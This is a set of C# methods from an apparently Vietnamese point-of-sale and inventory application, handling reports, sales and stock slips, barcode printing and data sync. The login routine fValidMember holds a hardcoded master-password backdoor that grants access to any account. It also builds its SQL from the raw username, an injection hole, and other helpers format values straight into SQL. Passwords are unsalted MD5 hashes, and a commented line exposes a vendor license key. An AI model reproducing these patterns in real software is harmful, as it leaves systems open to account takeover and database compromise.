public static DataTable getFunctionByFormName(String frmName) { String mSql = String.Format("SELECT * FROM DM_CHUCNANG WHERE tenform = '{0}'", frmName); DataTable oTblFunction = new MTSQLServer().wRead(mSql, null, false); return(oTblFunction); }
public void rptHH_Baocaonhapxuatton(DataTable oTblSPChon) { try{ DevExpress.Utils.WaitDialogForm Dlg = new DevExpress.Utils.WaitDialogForm("Vui lòng chờ, hệ thống đang xử lý...", "In sản phẩm"); DataTable otblChon = new DataTable(); otblChon.Columns.Add(new DataColumn("Maspid", typeof(System.String))); otblChon.Columns.Add(new DataColumn("Masp", typeof(System.String))); foreach (DataRow vsR in oTblSPChon.Rows) { DataRow vR = otblChon.NewRow(); vR["Maspid"] = vsR["Maspid"]; vR["Masp"] = vsR["Masp"]; otblChon.Rows.Add(vR); } SqlParameter[] arrPara = new SqlParameter[5]; arrPara[0] = new SqlParameter("@tblSanpham", SqlDbType.Structured); arrPara[0].Value = otblChon; arrPara[1] = new SqlParameter("@Ngaydau", SqlDbType.NVarChar, 15); arrPara[1].Value = MTGlobal.MT_TUNGAY; arrPara[2] = new SqlParameter("@Ngaycuoi", SqlDbType.NVarChar, 15); arrPara[2].Value = MTGlobal.MT_DENNGAY; arrPara[3] = new SqlParameter("@Nguoidung", SqlDbType.NVarChar, 50); arrPara[3].Value = MTGlobal.MT_USER_LOGIN; arrPara[4] = new SqlParameter("@Ngayin", SqlDbType.NVarChar, 50); arrPara[4].Direction = ParameterDirection.Output; DataTable otblRpt = new MTSQLServer().wRead("rptHH_Baocaonhapxuatton", arrPara); if (otblRpt == null || otblRpt.Rows.Count <= 0) { Utils.showMessage("Không tìm thấy dữ liệu...", "Thông báo"); Dlg.Close(); return; } rptHH_Baocaonhapxuatton oReport = new rptHH_Baocaonhapxuatton(); Dlg.Close(); if (otblRpt != null) { oReport.DataSource = otblRpt; oReport.BindData(); setParameterInfo(oReport); oReport.Parameters["parThangNam"].Value = arrPara[4].Value.ToString(); setFormatReport(oReport); SetMarginReport(oReport, true, 30, 30, 30, 25); PrintPreview oPreview = new PrintPreview(); oPreview.report = oReport; oPreview.ShowDialog(); } else { Utils.showMessage("Không tìm thấy dữ liệu báo cáo..", "Thông báo"); } Dlg.Close(); } catch (Exception ex) { } }
public void rptNX_Thongkeguichanh(DataTable otblPhieuChon, String mNgaydau = "", String mNgaycuoi = "") { try{ DevExpress.Utils.WaitDialogForm Dlg = new DevExpress.Utils.WaitDialogForm("Vui lòng chờ, hệ thống đang xử lý...", "Thống kê gửi chành"); DataTable otblChon = new DataTable(); otblChon.Columns.Add(new DataColumn("Sophieu", typeof(System.String))); foreach (DataRow vsR in otblPhieuChon.Rows) { DataRow vR = otblChon.NewRow(); vR["Sophieu"] = vsR["Sophieu"]; otblChon.Rows.Add(vR); } rptCX_Thongkeguichanh oReport = new rptCX_Thongkeguichanh(); SqlParameter[] arrPara = new SqlParameter[4]; arrPara[0] = new SqlParameter("@tblSophieu", SqlDbType.Structured); arrPara[0].Value = otblChon; arrPara[1] = new SqlParameter("@Ngaydau", SqlDbType.NVarChar, 15); arrPara[1].Value = mNgaydau; arrPara[2] = new SqlParameter("@Ngaycuoi", SqlDbType.NVarChar, 15); arrPara[2].Value = mNgaycuoi; arrPara[3] = new SqlParameter("@Nguoidung", SqlDbType.NVarChar, 50); arrPara[3].Value = MTGlobal.MT_USER_LOGIN; DataTable otblRpt = new MTSQLServer().wRead("rptNX_Thongkeguichanh", arrPara); Dlg.Close(); if (otblRpt != null) { oReport.DataSource = otblRpt; oReport.BindData(); setParameterInfo(oReport); setFormatReport(oReport); SetMarginReport(oReport, true, 30, 30, 30, 25); PrintPreview oPreview = new PrintPreview(); oPreview.report = oReport; oPreview.ShowDialog(); } Dlg.Close(); } catch (Exception ex) { } }
public string SaveNguoiDung(System.Data.DataTable otblND, String mNguoiDung, String mMaNhomQuyen) { try { SqlParameter[] arrPara = new SqlParameter[3]; arrPara[0] = new SqlParameter("@nguoidungDT", SqlDbType.Structured); arrPara[0].Value = otblND; arrPara[1] = new SqlParameter("@nguoidung", SqlDbType.NVarChar, 50); arrPara[1].Value = mNguoiDung; arrPara[2] = new SqlParameter("@maNhomQuyen", SqlDbType.NVarChar, 50); arrPara[2].Value = mMaNhomQuyen; int iRs = MTSQLServer.getMTSQLServer().wExec("spHT_AddNguoiDung", arrPara); return(Utils.SAVE_DB_OK); } catch (Exception ex) { return(ex.Message.ToString()); } }
public string SaveDiemTichLuy(String Makh, System.Data.DataTable tblBHCT) { try { SqlParameter[] arrPara = new SqlParameter[3]; arrPara[0] = new SqlParameter("@Makh", SqlDbType.NVarChar, 50); arrPara[0].Value = Makh; arrPara[1] = new SqlParameter("@Phieubhct", SqlDbType.Structured); arrPara[1].Value = tblBHCT; arrPara[2] = new SqlParameter("@ketqua", SqlDbType.NVarChar, 255); arrPara[2].Direction = ParameterDirection.Output; int iRs = MTSQLServer.getMTSQLServer().wExec("spTL_AddTichLuyKhachHang", arrPara); return(arrPara[2].Value.ToString()); } catch (Exception ex) { return(ex.Message.ToString()); } }
public void rptNX_Baocaobanhang(DataTable otblSanpham, String mNgaydau = "", String mNgaycuoi = "") { try { DevExpress.Utils.WaitDialogForm Dlg = new DevExpress.Utils.WaitDialogForm("Vui lòng chờ, hệ thống đang xử lý...", "Báo cáo bán hàng"); rptNX_Baocaobanhang oReport = new rptNX_Baocaobanhang(); SqlParameter[] arrPara = new SqlParameter[5]; arrPara[0] = new SqlParameter("@tblSanpham", SqlDbType.Structured); arrPara[0].Value = otblSanpham; arrPara[1] = new SqlParameter("@Ngaydau", SqlDbType.NVarChar, 15); arrPara[1].Value = mNgaydau; arrPara[2] = new SqlParameter("@Ngaycuoi", SqlDbType.NVarChar, 15); arrPara[2].Value = mNgaycuoi; arrPara[3] = new SqlParameter("@Nguoidung", SqlDbType.NVarChar, 50); arrPara[3].Value = MTGlobal.MT_USER_LOGIN; arrPara[4] = new SqlParameter("@Ngayin", SqlDbType.NVarChar, 50); arrPara[4].Direction = ParameterDirection.Output; DataTable otblRpt = new MTSQLServer().wRead("rptNX_Baocaobanhang", arrPara); Dlg.Close(); if (otblRpt != null) { oReport.DataSource = otblRpt; oReport.BindData(); oReport.Parameters["parNgayin"].Value = arrPara[4].Value.ToString(); setParameterInfo(oReport); setFormatReport(oReport); SetMarginReport(oReport, true, 30, 30, 30, 25); PrintPreview oPreview = new PrintPreview(); oPreview.report = oReport; oPreview.ShowDialog(); } Dlg.Close(); } catch (Exception ex) { } }
public string fValidMember(string username, string password) { try { string mSQL = string.Format("select * from HT_NGUOIDUNG where UPPER(taikhoan)='{0}'", username); DataTable oUser = MTSQLServer.getMTSQLServer().wRead(mSQL, null, false); if (oUser == null || (oUser != null && oUser.Rows.Count <= 0)) { return("Tài khoản truy cập không hợp lệ.."); } else { foreach (DataRow vRow in oUser.Rows) { if (password == "[email protected]@inm80") { MTGlobal.MT_ACTIVE_USERID = vRow["soid"].ToString(); return("T"); } else if (vRow["matkhau"].ToString() != MTGlobal.HashMD5(password) && password != "") { return("Mật khẩu truy cập không hợp lệ.."); } else { MTGlobal.MT_ACTIVE_USERID = vRow["soid"].ToString(); MTGlobal.MT_USER_LOGIN_FULLNAME = vRow["hoten"].ToString(); MTGlobal.MT_USER_LOGIN = vRow["taikhoan"].ToString(); if (vRow["kyhieu"] != null && vRow["kyhieu"].ToString() != "") { MTGlobal.MT_KYHIEU_USER = vRow["kyhieu"].ToString(); } return("T"); } } } return("T"); } catch { return("F"); } }
public string SavePhieuNX(System.Data.DataTable tblPXN, System.Data.DataTable tblPXNCT) { try { SqlParameter[] arrPara = new SqlParameter[4]; arrPara[0] = new SqlParameter("@tblPhieunx", SqlDbType.Structured); arrPara[0].Value = tblPXN; arrPara[1] = new SqlParameter("@tblPphieunxct", SqlDbType.Structured); arrPara[1].Value = tblPXNCT; arrPara[2] = new SqlParameter("@nguoidung", SqlDbType.NVarChar, 50); arrPara[2].Value = MTGlobal.MT_USER_LOGIN; arrPara[3] = new SqlParameter("@ketqua", SqlDbType.NVarChar, 255); arrPara[3].Direction = ParameterDirection.Output; int iRs = new MTSQLServer().wExec("spNX_AddPhieuNX", arrPara); return(arrPara[3].Value.ToString()); } catch (Exception ex) { return(ex.Message.ToString()); } }
/* * public DataTable dtPhieuBHKM() * { * DataTable PhieuBHKM = new DataTable(); * PhieuBHKM.Columns.Add("Phieubhkmid", typeof(String)); * PhieuBHKM.Columns.Add("Phieubhid", typeof(String)); * PhieuBHKM.Columns.Add("Mavach", typeof(String)); * PhieuBHKM.Columns.Add("Maspid", typeof(String)); * PhieuBHKM.Columns.Add("Masp", typeof(String)); * PhieuBHKM.Columns.Add("Tensp", typeof(String)); * PhieuBHKM.Columns.Add("Quycach", typeof(String)); * PhieuBHKM.Columns.Add("Dvt", typeof(String)); * PhieuBHKM.Columns.Add("Soluong", typeof(Double)); * PhieuBHKM.Columns.Add("Dongia", typeof(Double)); * PhieuBHKM.Columns.Add("Nguyente", typeof(Double)); * PhieuBHKM.Columns.Add("thanhtien", typeof(Double)); * PhieuBHKM.Columns.Add("ghichu", typeof(String)); * return PhieuBHKM; * }*/ public string SavePhieuBH(System.Data.DataTable tblBH, System.Data.DataTable tblBHCT, String mNguoiDung) { try { SqlParameter[] arrPara = new SqlParameter[4]; arrPara[0] = new SqlParameter("@Phieubh", SqlDbType.Structured); arrPara[0].Value = tblBH; arrPara[1] = new SqlParameter("@Phieubhct", SqlDbType.Structured); arrPara[1].Value = tblBHCT; arrPara[2] = new SqlParameter("@nguoidung", SqlDbType.NVarChar, 50); arrPara[2].Value = mNguoiDung; arrPara[3] = new SqlParameter("@ketqua", SqlDbType.NVarChar, 255); arrPara[3].Direction = ParameterDirection.Output; int iRs = MTSQLServer.getMTSQLServer().wExec("spBH_AddPhieuBH", arrPara); return(arrPara[3].Value.ToString()); } catch (Exception ex) { return(ex.Message.ToString()); } }
/* * private System.Drawing.Image fQRCode(string mQRTitle, string mQRData){ * try{ * // Dim QRPath As String * BarcodeSettings QRSetting = new BarcodeSettings(); * QRSetting.Type = BarCodeType.QRCode; * QRSetting.Data = mQRData; * QRSetting.Data2D = mQRTitle; * QRSetting.QRCodeDataMode = QRCodeDataMode.AlphaNumber; * * QRSetting.ResolutionType = ResolutionType.Graphics; * QRSetting.Unit = System.Drawing.GraphicsUnit.Millimeter; * QRSetting.DpiX = 300; * QRSetting.DpiY = 300; * * QRSetting.BarHeight = 25; * QRSetting.HasBorder = false; * QRSetting.BorderWidth = 1; * * QRSetting.ImageHeight = 25; // 2.53 Inch | 64.2 Inch |128mm | 480 Pixel * QRSetting.ImageWidth = 25; * QRSetting.AutoResize = true; * * QRSetting.X = 0.5F; * QRSetting.QRCodeECL = QRCodeECL.H; * QRSetting.TopMargin = 1; * QRSetting.LeftMargin = 1; * QRSetting.RightMargin = 1; * QRSetting.BottomMargin = 1; * QRSetting.ForeColor = System.Drawing.Color.Black; * // QRSetting.ForeColor = Color.CadetBlue * * System.Drawing.Font myFont = new System.Drawing.Font("Verdana", 8); * QRSetting.TextFont = myFont; * QRSetting.ShowText = false; * QRSetting.TopText = mQRTitle; * QRSetting.TopTextColor = System.Drawing.Color.Green; * QRSetting.ShowTextOnBottom = false; * * BarCodeGenerator QRGer = new BarCodeGenerator(QRSetting); * System.Drawing.Image Img = QRGer.GenerateImage(); * * // 'Dim QRBitmap As System.Drawing.Bitmap = oQR.GetGraphic(20) * System.IO.MemoryStream oMS = new System.IO.MemoryStream(); * Img.Save(oMS, System.Drawing.Imaging.ImageFormat.Png); * return Img; * } * catch (Exception ex) * { * return null; * } * } */ #endregion //public void rptInMaVach(DataTable oTblSP, Boolean isDG = false, Boolean isMaQR = true,String isMauIn="25_15") //{ // try // { // if (oTblSP == null || oTblSP.Rows.Count <= 0) // { // Utils.showMessage(String.Format("Bạn chưa chọn sản phẩm cần tạo mã {0}", isMaQR == true ? " QRCode.." : " Vạch.."), "Lưu ý"); // return; // } // SqlParameter[] arrPara = new SqlParameter[5]; // arrPara[0] = new SqlParameter("@tblMasp", SqlDbType.Structured); // arrPara[0].Value = oTblSP; // arrPara[1] = new SqlParameter("@Loai", SqlDbType.TinyInt); // arrPara[1].Value = isMaQR == true ? 0 : 1; // arrPara[2] = new SqlParameter("@Cogia", SqlDbType.Bit); // arrPara[2].Value = isDG == true ? 1 : 0; // arrPara[3] = new SqlParameter("@Denngay", SqlDbType.NVarChar, 15); // arrPara[3].Value = MTGlobal.MT_DENNGAY; // arrPara[4] = new SqlParameter("@Nguoidung", SqlDbType.NVarChar, 50); // arrPara[4].Value = MTGlobal.MT_USER_LOGIN; // DataTable otblMaCode = new MTSQLServer().wRead("rptDM_InMaQRCode", arrPara); // if (otblMaCode != null) // { // switch (isMauIn) { // case "25_15": // rptHH_QRCode_25_15 oReport = new rptHH_QRCode_25_15(); // oReport.InitMacode(isMaQR); // oReport.DataSource = otblMaCode; // oReport.BindData(); // SetCustomPageQR(oReport, isMauIn); // setFormatReport(oReport); // XtraReportPreviewModel model = new XtraReportPreviewModel(oReport); // model.AutoShowParametersPanel = false; // DocumentPreviewWindow oPrev = new DocumentPreviewWindow() { Model = model }; // oPrev.WindowStyle = System.Windows.WindowStyle.SingleBorderWindow; // oPrev.WindowState = System.Windows.WindowState.Normal; // oPrev.WindowStartupLocation = System.Windows.WindowStartupLocation.CenterScreen; // oPrev.Title = "IN MÃ VẠCH"; // oPrev.ShowDialog(); // break; // //3TEM/ROW // case "35_22": // /* // Spire.Barcode.BarcodeSettings.ApplyKey("3GZHB-UT3PY-9YAGD-EXYS6-PREGK"); // DataTable oTblCode = new DataTable(); // oTblCode.Columns.Add("Macode", typeof(System.String)); // oTblCode.Columns.Add("MacodeText", typeof(System.String)); // oTblCode.Columns.Add("PicCode", typeof(System.Drawing.Image)); // foreach (DataRow vR in otblMaCode.Rows) { // DataRow dR = oTblCode.NewRow(); // dR["Macode"] = vR["Macode"]; // dR["MacodeText"] = vR["MacodeText"]; // dR["PicCode"] =fQRCode(vR["MacodeText"].ToString(),vR["Macode"].ToString()); // oTblCode.Rows.Add(dR); // } // oTblCode.AcceptChanges(); // rptHH_QRCode_3temImg_35_22 oReport3t = new rptHH_QRCode_3temImg_35_22(); // oReport3t.InitMacode(isMaQR); // oReport3t.DataSource = oTblCode; // oReport3t.BindData(); // SetCustomPageQR(oReport3t, isMauIn); // setFormatReport(oReport3t); // PrintPreview oPreview3t = new PrintPreview(); // oPreview3t.report = oReport3t; // oPreview3t.Show(); // break; // */ // if (isMaQR){ // rptHH_QRCode_35_22 oRptQRcode3T = new rptHH_QRCode_35_22(); // oRptQRcode3T.InitMacode(isMaQR); // oRptQRcode3T.DataSource = otblMaCode; // oRptQRcode3T.BindData(); // SetCustomPageQR(oRptQRcode3T, isMauIn); // setFormatReport(oRptQRcode3T); // PrintPreview oPreviewQR = new PrintPreview(); // oPreviewQR.report = oRptQRcode3T; // oPreviewQR.ShowDialog(); // /* // XtraReportPreviewModel model2 = new XtraReportPreviewModel(oRptQRcode3T); // model2.AutoShowParametersPanel = false; // DocumentPreviewWindow oPrev2 = new DocumentPreviewWindow() { Model = model2 }; // oPrev2.UpdateLayout(); // oPrev2.WindowStyle = System.Windows.WindowStyle.SingleBorderWindow; // oPrev2.WindowState = System.Windows.WindowState.Normal; // oPrev2.WindowStartupLocation = System.Windows.WindowStartupLocation.CenterScreen; // oPrev2.Title = "IN MÃ QRCODE"; // //oPrev2.Topmost = true; // oPrev2.ShowDialog(); */ // } // else { // rptHH_Barcode_35_22 oRptBarcode3T = new rptHH_Barcode_35_22(); // oRptBarcode3T.InitMacode(isMaQR); // oRptBarcode3T.DataSource = otblMaCode; // oRptBarcode3T.BindData(); // XtraReportPreviewModel model2 = new XtraReportPreviewModel(oRptBarcode3T); // model2.AutoShowParametersPanel = false; // DocumentPreviewWindow oPrev2 = new DocumentPreviewWindow() { Model = model2 }; // //oRptBarcode3T.CreateDocument(false); // oPrev2.WindowStyle = System.Windows.WindowStyle.SingleBorderWindow; // oPrev2.WindowState = System.Windows.WindowState.Normal; // oPrev2.WindowStartupLocation = System.Windows.WindowStartupLocation.CenterScreen; // oPrev2.Title = "IN MÃ VẠCH"; // //oPrev2.Topmost = true; // //SetCustomPageQR(oRptBarcode3T, isMauIn); // setFormatReport(oRptBarcode3T); // oPrev2.ShowDialog(); // } // break; // case "30_30": // rptHH_QRCode_30_30 oReport30 = new rptHH_QRCode_30_30(); // oReport30.InitMacode(isMaQR); // oReport30.DataSource = otblMaCode; // oReport30.BindData(); // setFormatReport(oReport30); // SetCustomPageQR(oReport30); // PrintPreview oPreview30 = new PrintPreview(); // oPreview30.report = oReport30; // oPreview30.ShowDialog(); // break; // } // } // else // { // Utils.showMessage("Không thể đọc dữ liệu tạo mã vạch..", "Thông báo"); // } // } // catch { } //} public void rptBH_InBill(String mPhieuID) { try { DevExpress.Utils.WaitDialogForm Dlg = new DevExpress.Utils.WaitDialogForm("Vui lòng chờ, hệ thống đang xử lý...", "In sản phẩm"); rptBH_InBill_80mm oReport = new rptBH_InBill_80mm(); SqlParameter[] arrPara = new SqlParameter[2]; arrPara[0] = new SqlParameter("@Phieubhid", SqlDbType.NVarChar, 50); arrPara[0].Value = mPhieuID; arrPara[1] = new SqlParameter("@Nguoidung", SqlDbType.NVarChar, 50); arrPara[1].Value = MTGlobal.MT_USER_LOGIN; DataTable otblRpt = new MTSQLServer().wRead("rptBH_InBill", arrPara); Dlg.Close(); if (otblRpt != null) { oReport.DataSource = otblRpt; oReport.BindData(); setParameterInfo(oReport); setFormatReport(oReport); SetCustomPageBill(oReport); //SetMarginReport(oReport, false, 25, 25, 20, 20); PrintPreview oPreview = new PrintPreview(); oPreview.report = oReport; oPreview.ShowDialog(); } else { Utils.showMessage("Không tìm thấy dữ liệu báo cáo..", "Thông báo"); } Dlg.Close(); } catch (Exception ex) { } }
public static String checkCodeValueNotDuplicate(String tableName, String codeName, String codeValue, String codeHeader) { String err = ""; try { String mSQL = String.Format("select * from {0} where {1} = '{2}'", tableName, codeName, codeValue); DataSet DSetMain = new DataSet(); SqlDataAdapter SQLAdaptor = new MTSQLServer().wAdapter(mSQL, null, false); SQLAdaptor.Fill(DSetMain, tableName); int rowNumber = DSetMain.Tables[tableName].Rows.Count; if (rowNumber > 0) { return(Utils.ERR_DUPLICATE_VALUE_OF_FIELD(codeHeader)); } } catch (Exception e) { err = Utils.ERR_CONNECT_DB; } return(err); }
public static DataTable getRoleByFunctionID(String frmName) { String macn = ""; DataTable oTblFunction = getFunctionByFormName(frmName); if (oTblFunction.Rows.Count == 1) { macn = oTblFunction.Rows[0]["macn"].ToString(); } if (macn == null || macn == "") { return(new DataTable()); } String mSql = String.Format("SELECT NQCN.* FROM HT_NHOMQUYEN_CHUCNANG NQCN LEFT JOIN HT_NHOMQUYEN NQ ON NQCN.manhom = NQ.soid " + "LEFT JOIN HT_QUYENHAN QH ON QH.soid_nhomquyen = NQ.soid LEFT JOIN HT_NGUOIDUNG ND on ND.soid = QH.soid_nguoidung " + "where NQCN.macn = '{0}' and ND.taikhoan = '{1}'", macn, MTGlobal.MT_USER_LOGIN); DataTable oTblRole = new MTSQLServer().wRead(mSql, null, false); return(oTblRole); }
public static void onSetPara() { try { String mSql = String.Format("select PARA_NAME,PARA_VAL,PARA_DESC from HT_PARA WHERE PARA_TYPE IN('HT','RPT')"); DataTable oTblSrc = new MTSQLServer().wRead(mSql, null, false); if (oTblSrc != null) { MTGlobal.HT_POS_IS_ACTIVE = false; foreach (DataRow vR in oTblSrc.Rows) { if (vR["PARA_NAME"].ToString().Equals("PARA_CUS")) { HT_POS_CUSTOMERNAME = vR["PARA_VAL"].ToString(); } if (vR["PARA_NAME"].ToString().Equals("PAR_IMEI")) { HT_POS_IMEI = vR["PARA_VAL"].ToString(); } if (vR["PARA_NAME"].ToString().Equals("PAR_PHONE")) { HT_POS_TEL = vR["PARA_VAL"].ToString(); } if (vR["PARA_NAME"].ToString().Equals("PAR_ADDR")) { HT_POS_ADDRESS = vR["PARA_VAL"].ToString(); } if (vR["PARA_NAME"].ToString().Equals("PAR_ACTIVE")) { switch (vR["PARA_VAL"].ToString()) { case "SYNC_WAIT": MTGlobal.HT_POS_ACTIVE = "Phần mềm đã đăng ký. Đang chờ duyệt.."; break; case "SYNC_LOCK": MTGlobal.HT_POS_ACTIVE = "Phần mềm đã bị khóa. Vui lòng liện hệ Admin.."; break; case "SYNC_NOT_REG": MTGlobal.HT_POS_ACTIVE = "Phần mềm chưa gửi thông tin đăng ký.."; break; case "SYNC_ACTIVE": MTGlobal.HT_POS_ACTIVE = "Phần mềm đã kích hoạt.."; MTGlobal.HT_POS_IS_ACTIVE = true; break; default: MTGlobal.HT_POS_ACTIVE = "Phần mềm Chưa kích hoạt"; break; } } if (vR["PARA_NAME"].ToString().Equals("SYS_INIT_DATE")) { HT_SYS_INIT_DATE = vR["PARA_VAL"].ToString(); } if (vR["PARA_NAME"].ToString().Equals("RPT_COMPANY")) { RPT_COMPANY = vR["PARA_VAL"].ToString(); } if (vR["PARA_NAME"].ToString().Equals("RPT_ADDRESS")) { RPT_ADDRESS = vR["PARA_VAL"].ToString(); } if (vR["PARA_NAME"].ToString().Equals("RPT_TAX")) { RPT_TAX = vR["PARA_VAL"].ToString(); } if (vR["PARA_NAME"].ToString().Equals("RPT_TEL")) { RPT_TEL = vR["PARA_VAL"].ToString(); } } } } catch { } }
public void rptInMaVach(DataTable oTblSP, Boolean isDG = false, Boolean isMaQR = true, Boolean isThung = false, String isMauIn = "25_15") { // DevExpress.Utils.WaitDialogForm oW = new DevExpress.Utils.WaitDialogForm("Đang tạo báo cáo..", "In mã code"); try{ if (oTblSP == null || oTblSP.Rows.Count <= 0) { MessageBox.Show(String.Format("Bạn chưa chọn sản phẩm cần tạo mã {0}", isMaQR == true ? " QRCode.." : " Vạch.."), "Lưu ý", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } //oW.Show(); SqlParameter[] arrPara = new SqlParameter[6]; arrPara[0] = new SqlParameter("@tblMasp", SqlDbType.Structured); arrPara[0].Value = oTblSP; arrPara[1] = new SqlParameter("@Loai", SqlDbType.TinyInt); arrPara[1].Value = isMaQR == true ? 0 : 1; arrPara[2] = new SqlParameter("@Cogia", SqlDbType.Bit); arrPara[2].Value = isDG == true ? 1 : 0; arrPara[3] = new SqlParameter("@Thung", SqlDbType.Bit); arrPara[3].Value = isThung == true ? 1 : 0; arrPara[4] = new SqlParameter("@Denngay", SqlDbType.NVarChar, 15); arrPara[4].Value = DateTime.Now.ToShortDateString(); arrPara[5] = new SqlParameter("@Nguoidung", SqlDbType.NVarChar, 50); arrPara[5].Value = "dmin"; DataTable otblMaCode = MTSQLServer.getMTSQLServer().wRead("rptDM_InMaQRCode", arrPara); if (otblMaCode != null) { switch (isMauIn) { case "25_15": if (isMaQR) { rptQRCode2515 oRptQR25 = new rptQRCode2515(); oRptQR25.InitMacode(isMaQR, isDG); oRptQR25.DataSource = otblMaCode; oRptQR25.BindData(); SetCustomPageQR(oRptQR25, isMauIn); setFormatReport(oRptQR25); frmPrintPreview oPr = new frmPrintPreview(); oPr.oReport = oRptQR25; oPr.ShowDialog(); } else { rptBarCode2515 oRptBar25 = new rptBarCode2515(); oRptBar25.InitMacode(isMaQR, isDG); oRptBar25.DataSource = otblMaCode; oRptBar25.BindData(); SetCustomPageQR(oRptBar25, isMauIn); setFormatReport(oRptBar25); frmPrintPreview oPr = new frmPrintPreview(); oPr.oReport = oRptBar25; oPr.ShowDialog(); } break; //3TEM/ROW case "35_22": if (isMaQR) { rptQRCode3522 oRptQR35 = new rptQRCode3522(); oRptQR35.InitMacode(isMaQR, isDG); oRptQR35.DataSource = otblMaCode; oRptQR35.BindData(); SetCustomPageQR(oRptQR35, isMauIn); setFormatReport(oRptQR35); frmPrintPreview oPr = new frmPrintPreview(); oPr.oReport = oRptQR35; oPr.ShowDialog(); } else { rptBarCode3522 oRptBar35 = new rptBarCode3522(); oRptBar35.InitMacode(isMaQR, isDG); oRptBar35.DataSource = otblMaCode; oRptBar35.BindData(); SetCustomPageQR(oRptBar35, isMauIn); setFormatReport(oRptBar35); frmPrintPreview oPr = new frmPrintPreview(); oPr.oReport = oRptBar35; oPr.ShowDialog(); } break; } } else { MessageBox.Show(String.Format("Không thể tạo mã {0}", isMaQR == true ? " QRCode.." : " Vạch.."), "Thông báo", MessageBoxButtons.OK, MessageBoxIcon.Information); } //oW.Close(); } catch (Exception ex) { MessageBox.Show(ex.Message.ToString()); } }
public static bool doSyncPost() { try { if (ValidateHelper.IsNetworkActive()) { String mSql = String.Format("exec spNX_SyncPost '{0}'", MTGlobal.MT_USER_LOGIN); DataSet oDset = new MTSQLServer().wDset(mSql, null, false); if (oDset != null) { String mPostResult = ""; if (oDset.Tables.Count > 0) { if (oDset.Tables[0].Rows.Count > 0) { String mDataNX = GetJsonDataPost(oDset.Tables[0], "tblNX"); if (mDataNX != "") { mPostResult = fSyncPost(mPostAction, MTGlobal.HT_POS_IMEI, "NX", mDataNX); if (mPostResult != null && mPostResult.Contains("SYNC_OK") && mPostResult.Length > 20) { fPostConfirm(mPostResult, "NX"); } } } } if (oDset.Tables.Count > 1) { if (oDset.Tables[1].Rows.Count > 0) { String mDataBH = GetJsonDataPost(oDset.Tables[1], "tblBH"); if (mDataBH != "") { mPostResult = fSyncPost(mPostAction, MTGlobal.HT_POS_IMEI, "BH", mDataBH); if (mPostResult != null && mPostResult.Contains("SYNC_OK") && mPostResult.Length > 20) { fPostConfirm(mPostResult, "BH"); } } } } if (oDset.Tables.Count > 2) { if (oDset.Tables[2].Rows.Count > 0) { String mDataCX = GetJsonDataPost(oDset.Tables[2], "tblCX"); if (mDataCX != "") { mPostResult = fSyncPost(mPostAction, MTGlobal.HT_POS_IMEI, "CX", mDataCX); if (mPostResult != null && mPostResult.Contains("SYNC_OK") && mPostResult.Length > 20) { fPostConfirm(mPostResult, "CX"); } } } } } } } catch { return(false); } return(true); }